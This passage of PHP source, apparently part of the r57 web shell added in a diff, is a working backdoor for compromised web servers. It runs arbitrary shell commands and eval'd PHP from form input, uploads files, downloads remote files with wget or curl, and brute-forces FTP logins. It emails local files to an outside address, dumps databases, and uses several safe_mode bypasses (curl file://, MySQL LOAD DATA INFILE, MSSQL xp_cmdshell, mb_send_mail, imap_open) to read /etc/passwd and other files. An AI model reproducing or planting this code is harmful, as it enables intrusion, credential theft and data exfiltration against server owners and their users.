(!empty($_POST['alias'])){ foreach ($aliases as $alias_name=>$alias_cmd) { if ($_POST['alias'] == $alias_name){$_POST['cmd']=$alias_cmd;}}} +if (!empty($HTTP_POST_FILES['userfile']['name'])) +{ +if(isset($_POST['nf1']) && !empty($_POST['new_name'])) { $nfn = $_POST['new_name']; } +else { $nfn = $HTTP_POST_FILES['userfile']['name']; } +@copy($HTTP_POST_FILES['userfile']['tmp_name'], + $_POST['dir']."/".$nfn) + or print("<font color=red face=Fixedsys><div align=center>Error uploading file ".$HTTP_POST_FILES['userfile']['name']."</div></font>"); +} +if (!empty($_POST['with']) && !empty($_POST['rem_file']) && !empty($_POST['loc_file'])) +{ + switch($_POST['with']) + { + case wget: + $_POST['cmd'] = which('wget')." ".$_POST['rem_file']." -O ".$_POST['loc_file'].""; + break; + case fetch: + $_POST['cmd'] = which('fetch')." -o ".$_POST['loc_file']." -p ".$_POST['rem_file'].""; + break; + case lynx: + $_POST['cmd'] = which('lynx')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case links: + $_POST['cmd'] = which('links')." -source ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case GET: + $_POST['cmd'] = which('GET')." ".$_POST['rem_file']." > ".$_POST['loc_file'].""; + break; + case curl: + $_POST['cmd'] = which('curl')." ".$_POST['rem_file']." -o ".$_POST['loc_file'].""; + break; + } +} +if(!empty($_POST['cmd']) && ($_POST['cmd']=="ftp_file_up" || $_POST['cmd']=="ftp_file_down")) + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); } + else + { + if(!@ftp_login($connection,$_POST['ftp_login'],$_POST['ftp_password'])) { fe($language,1); } + else + { + if($_POST['cmd']=="ftp_file_down") { if(chop($_POST['loc_file'])==$dir) { $_POST['loc_file']=$dir.(($windows)?('\\'):('/')).basename($_POST['ftp_file']); } @ftp_get($connection,$_POST['loc_file'],$_POST['ftp_file'],$_POST['mode']); } + if($_POST['cmd']=="ftp_file_up") { @ftp_put($connection,$_POST['ftp_file'],$_POST['loc_file'],$_POST['mode']); } + } + } + @ftp_close($connection); + $_POST['cmd'] = ""; + } +if(!empty($_POST['cmd']) && $_POST['cmd']=="ftp_brute") + { + list($ftp_server,$ftp_port) = split(":",$_POST['ftp_server_port']); + if(empty($ftp_port)) { $ftp_port = 21; } + $connection = @ftp_connect ($ftp_server,$ftp_port,10); + if(!$connection) { fe($language,0); $_POST['cmd'] = ""; } + else if(!$users=get_users()) { echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$lang[$language.'_text96']."</b></div></font></td></tr></table>"; $_POST['cmd'] = ""; } + @ftp_close($connection); + } +echo $table_up3; +if (empty($_POST['cmd'])&&!$safe_mode) { $_POST['cmd']=($windows)?("dir"):("ls -lia"); } +else if(empty($_POST['cmd'])&&$safe_mode){ $_POST['cmd']="safe_dir"; } +echo $font.$lang[$language.'_text1'].": <b>".$_POST['cmd']."</b></font></td></tr><tr><td><b><div align=center><textarea name=report cols=121 rows=15>"; +if($safe_mode) +{ + switch($_POST['cmd']) + { + case 'safe_dir': + $d=@dir($dir); + if ($d) + { + while (false!==($file=$d->read())) + { + if ($file=="." || $file=="..") continue; + @clearstatcache(); + list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); + if($windows){ + echo date("d.m.Y H:i",$mtime); + if(@is_dir($file)) echo " <DIR> "; else printf("% 7s ",$size); + } + else{ + $owner = @posix_getpwuid($uid); + $grgid = @posix_getgrgid($gid); + echo $inode." "; + echo perms(@fileperms($file)); + printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); + echo date("d.m.Y H:i ",$mtime); + } + echo "$file\n"; + } + $d->close(); + } + else echo $lang[$language._text29]; + break; + case 'safe_file': + if(@is_file($_POST['file'])) + { + $file = @file($_POST['file']); + if($file) + { + $c = @sizeof($file); + for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } + } + else echo $lang[$language._text29]; + } + else echo $lang[$language._text31]; + break; + case 'test1': + $ci = @curl_init("file://".$_POST['test1_file'].""); + $cf = @curl_exec($ci); + echo $cf; + break; + case 'test2': + @include($_POST['test2_file']); + break; + case 'test3': + if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } + $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); + if($db) + { + if(@mysql_select_db($_POST['test3_md'],$db)) + { + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; + @mysql_query($sql); + $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; + @mysql_query($sql); + $sql = "SELECT * FROM temp_r57_table;"; + $r = @mysql_query($sql); + while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } + $sql = "DROP TABLE IF EXISTS temp_r57_table;"; + @mysql_query($sql); + } + else echo "[-] ERROR! Can't select database"; + @mysql_close($db); + } + else echo "[-] ERROR! Can't connect to mysql server"; + break; + case 'test4': + if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } + $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); + if($db) + { + if(@mssql_select_db($_POST['test4_md'],$db)) + { + @mssql_query("drop table r57_temp_table",$db); + @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); + @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); + $res = mssql_query("select * from r57_temp_table",$db); + while(($row=@mssql_fetch_row($res))) + { + echo $row[0]."\r\n"; + } + @mssql_query("drop table r57_temp_table",$db); + } + else echo "[-] ERROR! Can't select database"; + @mssql_close($db); + } + else echo "[-] ERROR! Can't connect to MSSQL server"; + break; + case 'test5': + if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); + $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; + @mb_send_mail(NULL, NULL, NULL, NULL, $extra); + $lines = file ('/tmp/mb_send_mail'); + foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } + break; + case 'test6': + $stream = @imap_open('/etc/passwd', "", ""); + $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); + for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; + @imap_close($stream); + break; + case 'test7': + $stream = @imap_open($_POST['test7_file'], "", ""); + $str = @imap_body($stream, 1); + echo $str; + @imap_close($stream); + break; + } +} +else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ + $cmd_rep = ex($_POST['cmd']); + if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } + else { echo @htmlspecialchars($cmd_rep)."\n"; }} +if ($_POST['cmd']=="ftp_brute") + { + $suc = 0; + foreach($users as $user) + { + $connection = @ftp_connect($ftp_server,$ftp_port,10); + if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } + else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } + @ftp_close($connection); + } + echo "\r\n-------------------------------------\r\n"; + $count = count($users); + if(isset($_POST['reverse'])) { $count *= 2; } + echo $lang[$language.'_text97'].$count."\r\n"; + echo $lang[$language.'_text98'].$suc."\r\n"; + } +if ($_POST['cmd']=="php_eval"){ + $eval = @str_replace("<?","",$_POST['php_eval']); + $eval = @str_replace("?>","",$eval); + @eval($eval);} +if ($_POST['cmd']=="mysql_dump") + { + if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } + $sql = new my_sql(); + $sql->db = $_POST['db']; + $sql->host = $_POST['db_server']; + $sql->port = $_POST['db_port']; + $sql->user = $_POST['mysql_l']; + $sql->pass = $_POST['mysql_p']; + $sql->base = $_POST['mysql_db']; + if(!$sql->connect()) { echo "[-] ERROR! Can't connect to SQL server"; } + else if(!$sql->select_db()) { echo "[-] ERROR! Can't select database"; } + else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Can't create dump"; } + else { + if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } + else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } + else { echo "[-] ERROR! Can't write in dump file"; } + } + } +echo "</textarea></div>"; +echo "</b>"; +echo "</td></tr></table>"; +echo "<table width=100% cellpadding=0 cellspacing=0>"; +function up_down($id) + { + global $lang; + global $language; + return '&nbsp<img src='.$_SERVER['PHP_SELF'].'?img=1 onClick="document.getElementById(\''.$id.'\').style.display = \'none\'; document.cookie=\''.$id.'=0;\';" title="'.$lang[$language.'_text109'].'"><img src='.$_SERVER['PHP_SELF'].'?img=2 onClick="document.getElementById(\''.$id.'\').style.display = \'block\'; document.cookie=\''.$id.'=1;\';" title="'.$lang[$language.'_text110'].'">'; + } +function div($id) + { + if(isset($_COOKIE[$id]) && $_COOKIE[$id]==0) return '<div id="'.$id.'" style="display: none;">'; + return '<div id="'.$id.'">'; + } +if(!$safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text2'].up_down('id1').$table_up2.div('id1').$ts; +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','cmd',85,'')); +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +else{ +echo $fs.$table_up1.$lang[$language.'_text28'].up_down('id2').$table_up2.div('id2').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','dir',85,$dir).in('hidden','cmd',0,'safe_dir').ws(4).in('submit','submit',0,$lang[$language.'_butt6'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text42'].up_down('id3').$table_up2.div('id3').$ts; +echo sr(15,"<b>".$lang[$language.'_text43'].$arrow."</b>",in('text','e_name',85,$dir).in('hidden','cmd',0,'edit_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt11'])); +echo $te.'</div>'.$table_end1.$fe; +if($safe_mode){ +echo $fs.$table_up1.$lang[$language.'_text57'].up_down('id4').$table_up2.div('id4').$ts; +echo sr(15,"<b>".$lang[$language.'_text58'].$arrow."</b>",in('text','mk_name',54,(!empty($_POST['mk_name'])?($_POST['mk_name']):("new_name"))).ws(4)."<select name=action><option value=create>".$lang[$language.'_text65']."</option><option value=delete>".$lang[$language.'_text66']."</option></select>".ws(3)."<select name=what><option value=file>".$lang[$language.'_text59']."</option><option value=dir>".$lang[$language.'_text60']."</option></select>".in('hidden','cmd',0,'mk').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt13'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text67'].up_down('id5').$table_up2.div('id5').$ts; +echo sr(15,"<b>".$lang[$language.'_text68'].$arrow."</b>","<select name=what><option value=mod>CHMOD</option><option value=own>CHOWN</option><option value=grp>CHGRP</option></select>".ws(2)."<b>".$lang[$language.'_text69'].$arrow."</b>".ws(2).in('text','param1',40,(($_POST['param1'])?($_POST['param1']):("filename"))).ws(2)."<b>".$lang[$language.'_text70'].$arrow."</b>".ws(2).in('text','param2 title="'.$lang[$language.'_text71'].'"',26,(($_POST['param2'])?($_POST['param2']):("0777"))).in('hidden','cmd',0,'ch_').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode){ +foreach ($aliases as $alias_name=>$alias_cmd) + { + $aliases2 .= "<option>$alias_name</option>"; + } +echo $fs.$table_up1.$lang[$language.'_text7'].up_down('id6').$table_up2.div('id6').$ts; +echo sr(15,"<b>".ws(9).$lang[$language.'_text8'].$arrow.ws(4)."</b>","<select name=alias>".$aliases2."</select>".in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text54'].up_down('id7').$table_up2.div('id7').$ts; +echo sr(15,"<b>".$lang[$language.'_text52'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text53'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text55'].$arrow."</b>",in('checkbox','m id=m',0,'1').in('text','s_mask',82,'.txt;.php')."* ( .txt;.php;.htm )".in('hidden','cmd',0,'search_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +if(!$safe_mode && $unix){ +echo $fs.$table_up1.$lang[$language.'_text76'].up_down('id8').$table_up2.div('id8').$ts; +echo sr(15,"<b>".$lang[$language.'_text72'].$arrow."</b>",in('text','s_text',85,'text').ws(4).in('submit','submit',0,$lang[$language.'_butt12'])); +echo sr(15,"<b>".$lang[$language.'_text73'].$arrow."</b>",in('text','s_dir',85,$dir)." * ( /root;/home;/tmp )"); +echo sr(15,"<b>".$lang[$language.'_text74'].$arrow."</b>",in('text','s_mask',85,'*.[hc]').ws(1).$lang[$language.'_text75'].in('hidden','cmd',0,'find_text').in('hidden','dir',0,$dir)); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text32'].up_down('id9').$table_up2.$font; +echo "<div align=center>".div('id9')."<textarea name=php_eval cols=100 rows=3>"; +echo (!empty($_POST['php_eval'])?($_POST['php_eval']):(":: Past your Eval code ::")); +echo "</textarea>"; +echo in('hidden','dir',0,$dir).in('hidden','cmd',0,'php_eval'); +echo "<br>".ws(1).in('submit','submit',0,$lang[$language.'_butt1']); +echo "</div></div></font>"; +echo $table_end1.$fe; +if($safe_mode&&$curl_on) +{ +echo $fs.$table_up1.$lang[$language.'_text33'].up_down('id10').$table_up2.div('id10').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test1_file',85,(!empty($_POST['test1_file'])?($_POST['test1_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test1').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode) +{ +echo $fs.$table_up1.$lang[$language.'_text34'].up_down('id11').$table_up2.div('id11').$ts; +echo "<table class=table1 width=100% align=center>"; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test2_file',85,(!empty($_POST['test2_file'])?($_POST['test2_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test2').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mysql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text35'].up_down('id12').$table_up2.div('id12').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test3_md',15,(!empty($_POST['test3_md'])?($_POST['test3_md']):("mysql"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test3_ml',15,(!empty($_POST['test3_ml'])?($_POST['test3_ml']):("root"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test3_mp',15,(!empty($_POST['test3_mp'])?($_POST['test3_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test3_port',15,(!empty($_POST['test3_port'])?($_POST['test3_port']):("3306")))); +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test3_file',96,(!empty($_POST['test3_file'])?($_POST['test3_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test3').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$mssql_on) +{ +echo $fs.$table_up1.$lang[$language.'_text85'].up_down('id13').$table_up2.div('id13').$ts; +echo sr(15,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','test4_md',15,(!empty($_POST['test4_md'])?($_POST['test4_md']):("master"))).ws(4)."<b>".$lang[$language.'_text37'].$arrow."</b>".in('text','test4_ml',15,(!empty($_POST['test4_ml'])?($_POST['test4_ml']):("sa"))).ws(4)."<b>".$lang[$language.'_text38'].$arrow."</b>".in('text','test4_mp',15,(!empty($_POST['test4_mp'])?($_POST['test4_mp']):("password"))).ws(4)."<b>".$lang[$language.'_text14'].$arrow."</b>".in('text','test4_port',15,(!empty($_POST['test4_port'])?($_POST['test4_port']):("1433")))); +echo sr(15,"<b>".$lang[$language.'_text3'].$arrow."</b>",in('text','test4_file',96,(!empty($_POST['test4_file'])?($_POST['test4_file']):("dir"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test4').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&$unix&&function_exists('mb_send_mail')){ +echo $fs.$table_up1.$lang[$language.'_text112'].up_down('id22').$table_up2.div('id22').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test5_file',96,(!empty($_POST['test5_file'])?($_POST['test5_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test5').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_list')){ +echo $fs.$table_up1.$lang[$language.'_text113'].up_down('id23').$table_up2.div('id23').$ts; +echo sr(15,"<b>".$lang[$language.'_text4'].$arrow."</b>",in('text','test6_file',96,(!empty($_POST['test6_file'])?($_POST['test6_file']):($dir))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test6').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if($safe_mode&&function_exists('imap_body')){ +echo $fs.$table_up1.$lang[$language.'_text114'].up_down('id24').$table_up2.div('id24').$ts; +echo sr(15,"<b>".$lang[$language.'_text30'].$arrow."</b>",in('text','test7_file',96,(!empty($_POST['test7_file'])?($_POST['test7_file']):("/etc/passwd"))).in('hidden','dir',0,$dir).in('hidden','cmd',0,'test7').ws(4).in('submit','submit',0,$lang[$language.'_butt8'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(@ini_get('file_uploads')){ +echo "<form name=upload method=POST ENCTYPE=multipart/form-data>"; +echo $table_up1.$lang[$language.'_text5'].up_down('id14').$table_up2.div('id14').$ts; +echo sr(15,"<b>".$lang[$language.'_text6'].$arrow."</b>",in('file','userfile',85,'')); +echo sr(15,"<b>".$lang[$language.'_text21'].$arrow."</b>",in('checkbox','nf1 id=nf1',0,'1').in('text','new_name',82,'').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +if(!$safe_mode&&!$windows){ +echo $fs.$table_up1.$lang[$language.'_text15'].up_down('id15').$table_up2.div('id15').$ts; +echo sr(15,"<b>".$lang[$language.'_text16'].$arrow."</b>","<select size=\"1\" name=\"with\"><option value=\"wget\">wget</option><option value=\"fetch\">fetch</option><option value=\"lynx\">lynx</option><option value=\"links\">links</option><option value=\"curl\">curl</option><option value=\"GET\">GET</option></select>".in('hidden','dir',0,$dir).ws(2)."<b>".$lang[$language.'_text17'].$arrow."</b>".in('text','rem_file',78,'http://')); +echo sr(15,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',105,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te.'</div>'.$table_end1.$fe; +} +echo $fs.$table_up1.$lang[$language.'_text86'].up_down('id16').$table_up2.div('id16').$ts; +echo sr(15,"<b>".$lang[$language.'_text59'].$arrow."</b>",in('text','d_name',85,$dir).in('hidden','cmd',0,'download_file').in('hidden','dir',0,$dir).ws(4).in('submit','submit',0,$lang[$language.'_butt14'])); +$arh = $lang[$language.'_text92']; +if(@function_exists('gzcompress')) { $arh .= in('radio','compress',0,'zip').' zip'; } +if(@function_exists('gzencode')) { $arh .= in('radio','compress',0,'gzip').' gzip'; } +if(@function_exists('bzcompress')) { $arh .= in('radio','compress',0,'bzip').' bzip'; } +echo sr(15,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo $te.'</div>'.$table_end1.$fe; +if(@function_exists("ftp_connect")){ +echo $table_up1.$lang[$language.'_text93'].up_down('id17').$table_up2.div('id17').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text87']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billgates@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_down')); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt14'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text100']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',45,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21")))); +echo sr(25,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','ftp_login',45,(!empty($_POST['ftp_login'])?($_POST['ftp_login']):("anonymous")))); +echo sr(25,"<b>".$lang[$language.'_text38'].$arrow."</b>",in('text','ftp_password',45,(!empty($_POST['ftp_password'])?($_POST['ftp_password']):("billgates@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text89'].$arrow."</b>",in('text','ftp_file',45,(!empty($_POST['ftp_file'])?($_POST['ftp_file']):("/ftp-dir/file"))).in('hidden','cmd',0,'ftp_file_up')); +echo sr(25,"<b>".$lang[$language.'_text90'].$arrow."</b>","<select name=ftp_mode><option>FTP_BINARY</option><option>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($unix && @function_exists("ftp_connect")){ +echo $fs.$table_up1.$lang[$language.'_text94'].up_down('id18').$table_up2.div('id18').$ts; +echo sr(15,"<b>".$lang[$language.'_text88'].$arrow."</b>",in('text','ftp_server_port',85,(!empty($_POST['ftp_server_port'])?($_POST['ftp_server_port']):("127.0.0.1:21"))).in('hidden','cmd',0,'ftp_brute').ws(4).in('submit','submit',0,$lang[$language.'_butt1'])); +echo sr(15,"","<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href=".$_SERVER['PHP_SELF']."?users>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(15,"",in('checkbox','reverse id=reverse',0,'1').$lang[$language.'_text101']); +echo $te.'</div>'.$table_end1.$fe; +} +if(@function_exists("mail")){ +echo $table_up1.$lang[$language.'_text102'].up_down('id19').$table_up2.div('id19').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("x.neo@hotmail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billgates@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',45,(!empty($_POST['to'])?($_POST['to']):("x.neo@hotmail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',45,(!empty($_POST['from'])?($_POST['from']):("billgates@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',45,(!empty($_POST['subj'])?($_POST['subj']):("file from KingDefacer")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',45,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none').' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); +echo $te."</td>".$fe."</tr></div></table>"; +} +if($mysql_on||$mssql_on||$pg_on||$ora_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option>MySQL</option>'; +if($mssql_on) $select .= '<option>MSSQL</option>'; +if($pg_on) $select .= '<option>PostgreSQL</option>'; +if($ora_on) $select .= '<option>Oracle</option>'; +$select .= '</select>'; +echo $table_up1.$lang[$language.'_text82'].up_down('id20').$table_up2.div('id20').$ts."<tr>".$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); +echo $te."</td>".$fe.$fs."<td valign=top width=50%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',15,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',15,(!empty($_POST['db_port'])?($_POST['db_port']):("3306")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',15,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',15,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',15,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=55 rows=1 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES; SHOW TABLES; SELECT * FROM 